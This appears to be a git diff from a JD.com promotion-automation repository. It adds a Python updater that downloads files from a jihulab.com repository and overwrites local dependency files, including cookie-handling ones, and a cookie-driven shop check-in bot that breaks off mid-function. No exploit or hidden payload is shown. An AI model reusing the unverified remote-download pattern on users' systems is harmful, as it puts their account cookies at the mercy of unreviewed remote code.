e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_scripts_check_dependence.py b/jd_scripts_check_dependence.py new file mode 100644 index 0000000..088e0de --- /dev/null +++ b/jd_scripts_check_dependence.py @@ -0,0 +1,606 @@ +# -*- coding:utf-8 -*- +# 作者仓库:https://jihulab.com/spiritlhl/qinglong_auto_tools.git +# 觉得不错麻烦点个star谢谢 +# 频道:https://t.me/qinglong_auto_tools + + +''' +cron: 1 +new Env('单容器 二叉树修复脚本依赖文件'); +''' + +import os, requests +import os.path +import time + +# from os import popen + +# 版本号 2.10.9 ,其他环境自测 +# 只修复依赖文件(jdCookie.js那种)!!不修复环境依赖(pip install aiohttp)!! +# 默认不做任何操作只查询依赖脚本存在与否,有需求请在配置文件中配置对应变量进行操作,更新不会增加缺失文件 +# 如果你有发现更多的脚本依赖文件没有新增,欢迎提交issues到https://jihulab.com/spiritlhl/dependence_scripts +# 增加缺失依赖文件(推荐) +# export ec_fix_dep="true" +# 更新老旧依赖文件(慎填,默认的依赖我使用的魔改版本,非必要别选) +# export ec_ref_dep="true" + +# 2021.11.27 支持新版本仓库拉取的脚本目录结构,针对各个仓库进行依赖检索 + +txtx = "青龙配置文件中的config中填写下列变量启用对应功能\n\n增加缺失依赖文件(推荐)\n填写export ec_fix_dep=\"true\"\n更新老旧依赖文件(日常使用别填,默认的依赖我使用的魔改版本,非必要别选)\n如果选择使用请使用对应code文件等相关文件:https://jihulab.com/spiritlhl/dependence_config \n填写export ec_ref_dep=\"true\"\n" +print(txtx) + +try: + if os.environ["ec_fix_dep"] == "true": + print("已配置依赖文件缺失修复\n") + fix = 1 + else: + fix = 0 +except: + fix = 0 + print("#默认不修复缺失依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_fix_dep=\"true\" \n#开启脚本依赖文件缺失修复\n") + +try: + if os.environ["ec_ref_dep"] == "true": + print("已配置依赖文件老旧更新\n") + ref = 1 + else: + ref = 0 +except: + ref = 0 + print("#默认不更新老旧依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_re_dep=\"true\" #开启脚本依赖文件更新\n") + + +def traversalDir_FirstDir(path): + list = [] + if (os.path.exists(path)): + files = os.listdir(path) + for file in files: + m = os.path.join(path, file) + if (os.path.isdir(m)): + h = os.path.split(m) + list.append(h[1]) + print("文件夹名字有:") + print(list) + return list + + +def check_dependence(file_path): + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir(file_path) + else: + dir_list = os.listdir("." + file_path) + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}{}".format(file_path, i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + if "db" in os.listdir("../"): + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("." + file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir(file_path + "utils") + else: + utils_list = os.listdir("." + file_path + "utils") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "utils") + utils_list = os.listdir(file_path + "utils") + else: + os.makedirs("." + file_path + "utils") + utils_list = os.listdir("." + file_path + "utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 {}utils/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}utils/{}".format(file_path, i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir(file_path + "function") + else: + function_list = os.listdir("." + file_path + "function") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "function") + function_list = os.listdir(file_path + "function") + else: + os.makedirs("." + file_path + "function") + function_list = os.listdir("." + file_path + "function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 {}function/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}function/{}".format(file_path, i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open('.' + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +def check_root(): + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir("./") + else: + dir_list = os.listdir("../") + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}".format(i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + if "db" in os.listdir("../"): + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir("./utils") + else: + utils_list = os.listdir("../utils") + except: + if "db" in os.listdir("../"): + os.makedirs("utils") + utils_list = os.listdir("./utils") + else: + os.makedirs("../utils") + utils_list = os.listdir("../utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 utils/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 utils/{}".format(i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + if "db" in os.listdir("../"): + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir("./function") + else: + function_list = os.listdir("../function") + except: + if "db" in os.listdir("../"): + os.makedirs("function") + function_list = os.listdir("./function") + else: + os.makedirs("../function") + function_list = os.listdir("../function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 function/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 function/{}".format(i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + if "db" in os.listdir("../"): + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +if __name__ == '__main__': + + # 针对青龙拉取仓库后单个仓库单个文件夹的情况对每个文件夹进行检测,不需要可以注释掉 开始到结束的部分 + + ### 开始 + if "db" in os.listdir("../"): + dirs_ls = traversalDir_FirstDir("./") + else: + dirs_ls = traversalDir_FirstDir("../") + + # script根目录默认存在的文件夹,放入其中的文件夹不再检索其内依赖完整性 + or_list = ['node_modules', '__pycache__', 'utils', '.pnpm-store', 'function', 'tools', 'backUp', '.git', '.idea', '.github'] + + print() + for i in dirs_ls: + if i not in or_list: + file_path = "./" + i + "/" + print("检测依赖文件是否完整路径 {}".format(file_path)) + check_dependence(file_path) + print() + + ### 结束 + + # 检测根目录,不需要可以注释掉下面这行,旧版本只需要保留下面这行 + check_root() + + print("检测完毕") + + if fix == 1: + print("修复完毕后脚本无法运行,显示缺依赖文件,大概率库里没有或者依赖文件同名但内容不一样,请另寻他法\n") + print("修复完毕后缺依赖环境导致的脚本无法运行,这种无法修复,请自行在依赖管理中添加\n") + print("前者缺文件(如 Error: Cannot find module './utils/magic'),后者缺依赖(如 Error: Cannot find module 'date-fns' ),本脚本只修复前一种") diff --git a/jd_sevenDay.js b/jd_sevenDay.js new file mode 100644 index 0000000..19225fa --- /dev/null +++ b/jd_sevenDay.js @@ -0,0 +1,593 @@ +/* +超级无线店铺签到 +不能并发,超级无线黑号不能跑,建议别跑太多号 +环境变量: +SEVENDAY_LIST 活动链节 https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId= +SEVENDAY_LIST2 活动链节 https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId= +SEVENDAY_LIST3 活动链节 https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId= +多id 用 & 分开 + +0 0 * * * jd_sevenDay.js +*/ +const $ = new Env('超级无线店铺签到'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +// https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId= +let activityIdList = [ +] +// https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId= +let activityIdList2 = [ +] +// https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId= +let activityIdList3 = [ +] +let lz_cookie = {} + +if (process.env.SEVENDAY_LIST && process.env.SEVENDAY_LIST != "") { + activityIdList = process.env.SEVENDAY_LIST.split('&'); +} +if (process.env.SEVENDAY_LIST2 && process.env.SEVENDAY_LIST2 != "") { + activityIdList2 = process.env.SEVENDAY_LIST.split('&'); +} +if (process.env.SEVENDAY_LIST3 && process.env.SEVENDAY_LIST3 != "") { + activityIdList3 = process.env.SEVENDAY_LIST.split('&'); +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + $.actList = activityIdList.length + activityIdList.length + activityIdList.length + + for (let i = 0; i < cookiesArr.length; i++) { + if ($.actList === 0) { + console.log("请设置无线签到活动id,看脚本说明") + break + } + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + console.log("签到类型1") + for(let a in activityIdList){ + $.activityUrl = `https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList[a]; + await signActivity(); + await $.wait(2000) + } + console.log("签到类型2") + for(let a in activityIdList2){ + $.activityUrl = `https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList2[a]; + await signActivity2(); + await $.wait(2000) + } + console.log("签到类型3") + for(let a in activityIdList3){ + $.activityUrl = `https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList3[a]; + await signActivity3(); + await $.wait(2000) + } + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function signActivity() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task('sign/sevenDay/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function signActivity2() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task('sign/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function signActivity3() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task2('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing2(); + if ($.secretPin) { + await task2('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task2('sign/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.activityId = data.data.activityId; + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.shopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'sign/sevenDay/wx/signUp': + if(data){ + // console.log(data); + if (data.isOk) { + console.log("签到成功"); + // console.log(data); + } else { + console.log(data); + } + } + break + case 'sign/wx/signUp': + if(data){ + // console.log(data); + if (data.isOk) { + console.log("签到成功"); + // console.log(data); + } else { + console.log(data); + } + } + break + default: + $.log(JSON.stringify(data)) + break; + } + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function task2(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl2(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + 